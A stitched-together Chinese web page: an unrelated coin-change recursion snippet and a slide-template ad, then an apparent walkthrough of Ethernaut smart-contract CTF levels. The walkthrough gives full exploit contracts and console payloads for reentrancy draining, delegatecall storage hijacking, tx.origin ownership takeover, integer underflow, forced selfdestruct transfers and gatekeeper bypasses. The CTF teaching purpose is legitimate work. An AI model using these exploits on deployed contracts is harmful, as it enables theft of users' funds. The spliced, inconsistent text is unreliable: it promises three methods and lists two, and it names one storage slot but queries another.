晨拆解一道經典的找零錢問題醒醒腦。
設對1美元破開成零錢,有下面5種面額的硬幣:
1) half-dollars (50分) 五角
2) quarters, (25分) 沒有這個. 2角
3) dimes, (10分) 一角
4) nickels, and (5分)
5) pennies? (1分)
問,破開這1美元,攏共有多少種硬幣組合?
這道題目,如果按照常規邏輯思考,真是無盡之復雜。倘若用“遞歸方法”思考,則瞬間“柳暗花明”。
將問題拆解為兩種情況:
function count_change(amount) {
return cc(amount, 6);
}
function cc(amount, kinds_of_coins) {
return amount===0 ? 1
: amount < 0 || kinds_of_coins===0 ? 0
: cc(amount, kinds_of_coins - 1)
+
cc(amount - first_denomination(kinds_of_coins),
kinds_of_coins);
}
function first_denomination(kinds_of_coins) {
return kinds_of_coins===1 ? 1 :
kinds_of_coins===2 ? 5 :
kinds_of_coins===3 ? 10 :
kinds_of_coins===4 ? 25 :
kinds_of_coins===5 ? 50 :
kinds_of_coins===6 ? 100 : 0;
}
運行測試:
刀PPT提供免費總結報告PPT模板,硬幣背景的瑞豐銀行數據報告PPT模板,模板是設計好的PPT模板直接打開編輯即可。
頁數:23頁
編號:PPT73337
大小:2.90MB
軟件:PowerPoint
格式:PPTX
比例:16:9
復制下載:
101dao.com/ppt/ppt-PPT73337.html
Look carefully at the contract's code below.
You will beat this level if
you claim ownership of the contract
you reduce its balance to 0
Things that might help
How to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units (see help() command)
Fallback methods
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address=> uint) public contributions;
address payable public owner;
?
constructor() public {
owner=msg.sender;
contributions[msg.sender]=1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender==owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] +=msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner=msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner=msg.sender;
}
}
題目的目標是成為這個合約的owner,并且將合約的balance清零。
在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:
1.調用contribute函數
2.調用receive函數
這里需要說明一下,constructor函數是合約的構造函數,是合約在初始化的時候建立的,而sender這個全局變量代表的是當前和合約交互的用戶。所以說,contructor函數的sender不可能是除了創建者之外后續用戶。
如要調用contribute函數,則需要向合約轉賬,轉入的eth大于1000才可以成為onwer,而且每次只能轉小于0.001eth,顯然不可行。
那么如果調用receive函數,只需要轉賬大于0即可成為owner。那么這個receive函數怎么調用呢?
這個函數明顯長得就和正常的函數不一樣,沒有function修飾。
這里的話首先解釋一下什么是fallback
https://me.tryblockchain.org/blockchain-solidity-fallback.html
也就是說,直接向合約轉賬,使用address.send(ether to send)向某個合約直接轉帳時,由于這個行為沒有發送任何數據,所以接收合約總是會調用fallback函數。或者當調用函數找不到時就會調用fallback函數。
那么這個fallback和receive又有什么關系呢?在0.6以后的版本,fallback函數的寫法就不是這么寫了而是:
fallback() external {
}
receive() payable external {
currentBalance=currentBalance + msg.value;
}
fallback 和 receive 不是普通函數,而是新的函數類型,有特別的含義,所以在它們前面加 function 這個關鍵字。加上 function 之后,它們就變成了一般的函數,只能按一般函數來去調用。
每個合約最多有一個不帶任何參數不帶 function 關鍵字的 fallback 和 receive 函數。
receive 函數類型必須是 payable 的,并且里面的語句只有在通過外部地址往合約里轉賬的時候執行。fallback 函數類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發送非轉賬交易,如果交易里帶有轉賬信息,交易會被 revert;如果是 payable 的,自然也就可以接受轉賬了。
盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會被限定在 2300。
也就是說,只要向合約轉賬,就會執行receive函數。具體來說,就是調用contract.sendTransaction({value : 1})。
所以說,要成為owner要經過以下兩個步驟:
1.調用contribute使contribution大于0
2.向合約轉賬,調用receive,成為owner。
成為owner后,還需要將合約的balance清零,這里需要調用withdraw函數,也就是執行這一句:
owner.transfer(address(this).balance);
this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉帳合約所有的balance。
所以,最終的payload就是:
contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()
Level completed!
Difficulty 2/10
Claim ownership of the contract below to complete this level.
Things that might help
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {
using SafeMath for uint256;
mapping (address=> uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner=msg.sender;
allocations[owner]=msg.value;
}
?
modifier onlyOwner {
require(
msg.sender==owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender]=allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
提示是用ide看,問題就是他這個構造函數其實不是構造函數,Fal1out,直接調用即可。
過關后,會出現這樣一段話:
That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?
Well... Not quite.
The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:
contract Rubixi {
address private owner;
function DynamicPyramid() { owner=msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.
需要連續十次猜中硬幣翻轉結果,猜對了就可以過關。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR=57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins=0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue=uint256(blockhash(block.number.sub(1)));
?
if (lastHash==blockValue) {
revert();
}
?
lastHash=blockValue;
uint256 coinFlip=blockValue.div(FACTOR);
bool side=coinFlip==1 ? true : false;
?
if (side==_guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins=0;
return false;
}
}
}
可以看到,每一次猜的值都要與blockhash/factor進行一個比對。這里,blocknumber指的是當前交易的區塊編號,并不是合約所處的區塊編號。由于一個塊內交易數量很多,所以我們就可以通過布置一個合約,使其交易行為與驗證的交易打包在一個塊中,這樣blockhash的值就可以提前算出來,重復十次即可過關
exp:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR=57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins=0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue=uint256(blockhash(block.number-1));
?
if (lastHash==blockValue) {
revert();
}
?
lastHash=blockValue;
uint256 coinFlip=blockValue/FACTOR;
bool side=coinFlip==1 ? true : false;
?
if (side==_guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins=0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR=57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip=CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue=uint256(blockhash(block.number-1));
uint256 coinFlip=uint256(uint256(blockValue) / FACTOR);
bool guess=coinFlip==1 ? true : false;
expFlip.flip(guess);
}
}
需要成為合約的owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner=msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin !=msg.sender) {
owner=_owner;
}
}
}
這里肯定是調用changeOwner,知識點就在于tx.origin和msg.sender之間的區別。
可以認為,origin為源ip地址,sender為上一跳地址。
所以思路就是部署一個合約A,我們調用這個合約A,而這個合約A調用題目合約,即可完成利用。
Exp:
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner=msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin !=msg.sender) {
owner=_owner;
}
}
}
contract exploit {
?
Telephone target=Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}
The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address=> uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender]=totalSupply=_initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >=0);
balances[msg.sender] -=_value;
balances[_to] +=_value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
uint整數溢出,不會小于0。
exp:
pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance=_levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}
成為合約的owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner=_owner;
}
?
function pwn() public {
owner=msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate=Delegate(_delegateAddress);
owner=msg.sender;
}
?
fallback() external {
(bool result,)=address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
有兩個合約,第一個delegate里面有個pwn函數,可以直接獲得owner。第二個合約delegation實例化了delegate,并且定義了fallback函數,里面通過delegeatecall調用delegate合約中的函數。
我們經常會使用call函數與合約進行交互,對合約發送數據,當然,call是一個較底層的接口,我們經常會把它封裝在其他函數里使用,不過性質是差不多的,這里用到的delegatecall跟call主要的不同在于通過delegatecall調用的目標地址的代碼要在當前合約的環境中執行,也就是說它的函數執行在被調用合約部分其實只用到了它的代碼,所以這個函數主要是方便我們使用存在其他地方的函數,也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調用其他合約的call類的函數,其中的區別如下:1、call 的外部調用上下文是外部合約2、delegatecall 的外部調用上下是調用合約上下文
也就是說,我們在delegation里通過delegatecall調用delegate中的pwn函數,pwn函數運行的上下文其實是delegation的環境。也就是說,此時執行pwn的話,owner其實是delegation的owner而不是delegate的owner。
抽象點理解,call就是正常的call,而delegatecall可以理解為inline函數調用。
在這里我們要做的就是使用delegatecall調用delegate合約的pwn函數,這里就涉及到使用call指定調用函數的操作,當你給call傳入的第一個參數是四個字節時,那么合約就會默認這四個字節就是你要調用的函數,它會把這四個字節當作函數的id來尋找調用函數,而一個函數的id在以太坊的函數選擇器的生成規則里就是其函數簽名的sha3的前4個bytes,函數前面就是帶有括號括起來的參數類型列表的函數名稱。
contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
令合約的余額大于0即可通關。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/\_/\ /
____/ o o \
/~____=?=/
(______)__m_m)
?
*/}
沒有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強制給一個合約發送eth的,不管它要不要它都得收下,這是通過selfdestruct函數來實現的,如它的名字所顯示的,這是一個自毀函數,當你調用它的時候,它會使該合約無效化并刪除該地址的字節碼,然后它會把合約里剩余的資金發送給參數所指定的地址,比較特殊的是這筆資金的發送將無視合約的fallback函數,因為我們之前也提到了當合約直接收到一筆不知如何處理的eth時會觸發fallback函數,然而selfdestruct的發送將無視這一點。
所以思路就是搞一個合約出來,然后自毀,強制給題目合約eth。
contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance=_levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}
使得locked==false
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked=true;
password=_password;
}
?
function unlock(bytes32 _password) public {
if (password==_password) {
locked=false;
}
}
}
主要就是猜密碼,看起來密碼被private保護,不能被訪問到,但是其實區塊鏈上所有東西都是透明的,只要我們知道它存儲的地方,就能訪問到查詢到。
使用web3的storageat函數即可查詢到特定位置的數據信息。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
合同代表一個非常簡單的游戲:誰給它發送了比當前獎金還大的數量的以太,就成為新的國王。在這樣的事件中,被推翻的國王獲得了新的獎金,但是如果你提交的話那么合約就會回退,讓level重新成為國王,而我們的目標就是阻止這一情況的發生。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner=msg.sender;
king=msg.sender;
prize=msg.value;
}
?
receive() external payable {
require(msg.value >=prize || msg.sender==owner);
king.transfer(msg.value);
king=msg.sender;
prize=msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}
主要看receive函數,邏輯是先轉賬然后再更新king和prize,所以說,如果我們使得程序斷在接受上,即可使得king不被更新。
所以代碼是這樣:
pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}
接受函數邏輯就是直接revert,這樣攻擊合約只要發生了轉賬,就會中止執行,這樣transfer就不會成功,king也就不會更新。
盜取合約中所有余額
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {
using SafeMath for uint256;
mapping(address=> uint) public balances;
?
function donate(address _to) public payable {
balances[_to]=balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >=_amount) {
(bool result,)=msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -=_amount;
}
}
?
receive() external payable {}
}
這個題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點在于withdraw函數。可以看到他是先調用了msg.sender.call{value:_amount}("");然后再在balance里面將存儲的余額減去amount。這里就是可重入攻擊的關鍵所在了,因為該函數在發送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發送ether,因為call的參數是空,所以會調用攻擊合約的fallback函數,我們在fallback函數里面再次調用withdraw,這樣套娃,就能將合約里面的錢都偷出來。
pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance=_levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}
另top==true
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building=Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor=_floor;
top=building.isLastFloor(floor);
}
}
}
合約并沒有實現building,需要我們自己定義。從程序的分析來看,top不可能為true。所以我們需要在實現building的時候搞點事情,也就是第一次搞成false,第二次調用搞成true就好。
pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side=true;
?
constructor(address _levelInstance) {
levelInstance=_levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side=!side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}
將locked成為false
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked=true;
uint256 public ID=block.timestamp;
uint8 private flattening=10;
uint8 private denomination=255;
uint16 private awkwardness=uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data=_data;
}
function unlock(bytes16 _key) public {
require(_key==bytes16(data[2]));
locked=false;
}
?
/*
A bunch of super advanced solidity algorithms...
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
和那個vault一樣,只不過這次的data需要確定位置。
根據32bytes一格的標準,劃分如下
//slot 0
bool public locked=true;
//slot 1
uint256 public constant ID=block.timestamp;
//slot 2
uint8 private flattening=10;
uint8 private denomination=255;
uint16 private awkwardness=uint16(now);//2 字節
//slot 3-5
bytes32[3] private data;
所以最終的data[2]就在slot5
所以最終查詢:
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
NaughtCoin是一個ERC20代幣,你已經擁有了所有的代幣。但是你只能在10年的后才能將他們轉移。你需要想出辦法把它們送到另一個地址,這樣你就可以把它們自由地轉移嗎,讓后通過將token余額置為0來完成此級別。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name='NaughtCoin';
// string public constant symbol='0x0';
// uint public constant decimals=18;
uint public timeLock=now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player=_player;
INITIAL_SUPPLY=1000000 * (10**uint256(decimals()));
// _totalSupply=INITIAL_SUPPLY;
// _balances[player]=INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender==player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
代碼重載了EC20類,但是沒有完全重載完,所以說可以直接調用ec20里面的函數進行轉賬。
contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))
成為owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature=bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library=_timeZone1LibraryAddress;
timeZone2Library=_timeZone2LibraryAddress;
owner=msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
function setTime(uint _time) public {
storedTime=_time;
}
}
漏洞點還是在delegatecall上,由于不會改變上下文,所以說settime函數中,將storedtime賦值為time,如果delegatecall調用,其實是把slot1中的數據賦值為time。
所以說第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調用魔改的settime函數。,然后就可以把owner改掉了。
攻擊合約代碼:
pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner=address(uint160(player));
}
}
攻擊流程:
contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)
合約的創建者已經構建了一個非常簡單的合約示例。任何人都可以輕松地創建新的代幣。部署第一個令牌合約后,創建者發送了0.5ether以獲取更多token。后來他們失去了合同地址。目的是從丟失的合同地址中恢復(或移除)0.5ether。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address=> uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name=_name;
balances[_creator]=_initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender]=msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >=_amount);
balances[msg.sender]=balances[msg.sender].sub(_amount);
balances[_to]=_amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
主要的難點就是找不到合約的地址,不過所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調用destroy函數就行。
pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance=_levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}
成為owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact=true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length--;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i]=_content;
}
}
合約引入了ownable,這樣合約中就多了個owner變量,這個變量經過查詢是在slot 0中。
前十六個字節是contact
可以看到調用完makecontact就變成1了。
在這個合約里面,可以指定下標元素賦值,且沒有檢查。所以說我們只需要計算出codex數組和slot0的距離即可改變owner。
codex是一個32bytes的數組,在slot1中存儲著他的長度。我們要計算出一個元素的下標,如果下標溢出,則會存儲到slot0中。
在Solidity中動態數組內變量的存儲位計算方法可以概括為:b[X]==SLOAD(keccak256(slot) + X),在這個合約中,開頭的slot為1,也就是他的長度。(換句話說,數組中某個元素的slot=keccak(slot數組)+ index)
因此第一個元素位于slot keccak256(1) + 0,第二個元素位于slot keccak256(1) + 1,以此類推。
所以我們要計算的下標就是令2^256=keccak256(slot) + index,即index=2^256 - keccak256(slot)
攻擊代碼:
pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;
constructor(address _levelInstance) {
levelInstance=_levelInstance;
}
function claim() public {
unchecked{
uint index=uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}
阻止其他人從合約中withdraw。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner=address(0xA9E);
uint timeLastWithdrawn;
mapping(address=> uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner=_partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend=address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn=now;
withdrawPartnerBalances[partner]=withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
其實看到了call函數形式的轉賬就猜到差不多了,就是fallback函數的利用。在fallback函數中遞歸的調用wiithdraw函數,這樣直到gas用光,就達到目的了。
pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance=_levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}
pass三個check
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender !=tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191)==0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey))==uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) !=uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey))==uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant=tx.origin;
return true;
}
}
第一個check直接用合約交互即可。
第三個check實際上是個截斷問題,也就是說0x0000ffff==0xffff,所以key值就是tx.origin & 0xffffffff0000ffff
主要的難點在于第二個check,需要設定執行到gatetwo時的gasleft % 8191==0。
達到這個有兩個方式,第一種方式是把原本題目合約扒下來,放到debug測試網絡,然后攻擊合約與其交互,在debug中看下gasleft是多少然后調整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費的gas并不相同,按照medium網站上說的方式到etherscan上查了下合約信息,由于沒有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們在debug環境下算出了符合條件的gas,仍然不能保證會成功。
第二種方式就比較暴力,直接寫一個for循環,每次的gas都從一個值遞增1,這樣一定會遇到一個符合條件的gas。
pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance=_levelInstance;
}
?
function open() public {
bytes8 key=bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i=0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}
要求使用總長度不超過10的bytecode編寫出一個合約,返回值為42.
pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
constructor() public {}
?
function setSolver(address _solver) public {
solver=_solver;
}
?
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
主要參考這個鏈接,說的也比較詳細:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2
值得注意的一點是合約代碼的長度是不會算構造函數以及構造合約的init函數的。
過三個檢查
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender !=tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x :=extcodesize(caller()) }
require(x==0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey)==uint64(0) - 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant=tx.origin;
return true;
}
}
這道題目需要在magicnumber之后做。
第一個check就是部署個合約即可。
第三個利用異或的性質,將key設置為addr ^ 0xffffffffffffff即可。
第二個check比較有意思,是利用了assembler,不過含義如字面意思。
caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長度,需要使得其長度為0。
這里在之前的magicnumber提到過,合約代碼長度不會算進去構造函數的長度,所以將攻擊函數直接寫進構造函數即可。
pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;
constructor(address _levelInstance) {
levelInstance=_levelInstance;
unchecked{
bytes8 key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}
由于新版本的solidity都會內置整數溢出檢查,所以在攻擊合約中uint64(0) - 1需要用uncheck修飾。
?
*請認真填寫需求信息,我們會在24小時內與您取得聯系。